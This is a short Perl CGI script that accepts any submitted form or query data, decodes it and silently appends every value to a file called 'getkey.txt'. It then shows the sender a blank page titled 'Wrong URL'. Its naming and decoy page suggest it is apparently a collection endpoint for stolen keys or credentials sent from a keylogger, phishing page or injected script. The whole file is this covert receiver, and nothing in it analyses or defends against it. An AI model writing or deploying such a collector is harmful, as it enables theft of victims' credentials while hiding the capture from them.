#!/usr/bin/perl

#===============================================================
#name of server-side file to write to (Must already exist).
#===============================================================

$keyfile = "getkey.txt" ;

print "Content-type: text/html\n\n" ;

print <<EOF ;
<html>
<head><title>Wrong URL</title></head>
<body>
<ul>
EOF

if($ENV{'REQUEST_METHOD'} eq "GET"){
   $my_data = $ENV{'QUERY_STRING'};
}
else {
   $data_length = $ENV{'CONTENT_LENGTH'};
   $bytes_read = read(STDIN, $my_data, $data_length);
}

@name_value_array = split(/&/, $my_data);

foreach $name_value_pair (@name_value_array) {
   ($name, $value) = split(/=/, $name_value_pair);

   $name =~ tr/+/ /;
   $value =~ tr/+/ /;

   $name =~ s/%(..)/pack("C",hex($1))/eg;
   $value =~ s/%(..)/pack("C",hex($1))/eg;
  
   if($form_data{$name}) 
   { 
      $form_data{$name} .= "\t$value"; 
   } 
   else 
   { 
      $form_data{$name} = $value; 
   } 
}

open(FHANDLE, ">>$keyfile");

foreach $form_data_key (keys(%form_data)) {
   print FHANDLE "$form_data{$form_data_key}";
   print FHANDLE "\r\n";
}

close(FHANDLE);

print <<EOF ;
</ul>
</body>
</html>
EOF

exit ;

